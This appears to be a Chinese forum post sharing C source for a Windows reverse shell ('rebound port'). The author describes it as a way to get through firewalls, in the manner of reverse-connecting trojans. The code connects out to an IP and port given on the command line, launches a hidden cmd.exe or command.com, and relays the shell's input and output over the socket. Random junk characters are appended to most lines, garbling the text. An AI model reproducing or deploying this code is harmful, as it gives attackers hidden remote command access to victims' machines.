这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L\b]k,Ksf
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/* ============================== b JfD\
Rebound port in Windows NT XogvtK*
By wind,2006/7 G{kj}>kS_
===============================*/ dD/t_ {h
#include vWU%ST
#include \|2tTvW,0
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#pragma comment(lib,"wsock32.lib") rI0)F
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void OutputShell(); ,IIZXl@
SOCKET sClient; g1ZV&X=2
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v%lv8Lar'
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void main(int argc,char **argv) 99^AT*ByY
{ S d IGU[fm
WSADATA stWsaData; QXdaMc+Ck
int nRet; I"ca+4]
SOCKADDR_IN stSaiClient,stSaiServer; 96c"I;\GXX
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if(argc != 3) Bul.RCP'
{ $^}[g9]1
printf("Useage:\n\rRebound DestIP DestPort\n"); Kb-W
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return; Ptx,2e&Hq
} MZT6g. ny
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WSAStartup(MAKEWORD(2,2),&stWsaData); pd d|n2q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mx8Gu^FW.d
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stSaiClient.sin_family = AF_INET; Iz#yQ`
stSaiClient.sin_port = htons(0); t)9]<pN%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NCa~#i:F8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :$=|7v
{ aD2*.ln><
printf("Bind Socket Failed!\n"); 0<g<GQ(E
return; || [89G
} 5C/2b.-[
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stSaiServer.sin_family = AF_INET; wf?u(3/%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EZ<80G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ABc)2"i:*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F?z<xL@
{ , 9mgYp2
printf("Connect Error!"); uFZ~
return; r}
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} !tU'J"Zy
OutputShell(); JWWYVl VC
} vt.P*Z5
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void OutputShell() _.{zpF=j
{ bhD ~4Rz
char szBuff[1024];
[ "a"x>X&
SECURITY_ATTRIBUTES stSecurityAttributes; EUy(T1Cl&&
OSVERSIONINFO stOsversionInfo; $2KK:{VX
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n!G.At'JP
STARTUPINFO stStartupInfo; RNTa XR+Zn
char *szShell; 5;mRGY
PROCESS_INFORMATION stProcessInformation; =q+R
unsigned long lBytesRead; T~Ly^|Ihz
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BC! 6O/kr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X&a:g
stSecurityAttributes.lpSecurityDescriptor = 0; v^SsoX>WMH
stSecurityAttributes.bInheritHandle = TRUE; SO;N~D1Z6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m`y9Cuk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XJgh>^R^
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?mx\eX{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r\2vl8X~
stStartupInfo.wShowWindow = SW_HIDE; =gjDCx$|
stStartupInfo.hStdInput = hReadPipe; E!J=8C.:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3K>gz:dt
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GetVersionEx(&stOsversionInfo); j*400
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switch(stOsversionInfo.dwPlatformId) (ChD]PWQ
{ 6L9,'Bg
case 1: UKtSm%\
szShell = "command.com"; #.._c?%4/
break; W.I\J<=V
default: Eectxyr?;N
szShell = "cmd.exe"; eC! #CK
break; 8Pmdk1 ~
} Ez+Z[*C
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,Na^%A@TJ
+=BAslk
send(sClient,szMsg,77,0); t"vRc4mf
while(1) )Si2u5
{ SA;#aj}rV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -!e7L>w
if(lBytesRead) }TB(7bbd;
{ y_p.Gzy(^}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M.q=p[
send(sClient,szBuff,lBytesRead,0); VT%:zf
} fv!?Ga(
else ABh&X+YD
{ }ns-W3B'
lBytesRead=recv(sClient,szBuff,1024,0); !bnyJA
if(lBytesRead<=0) break; ?6^|ZtB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =(HeF.!
} *L4`$@l8
} O+vS|
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return; CW&.NT
}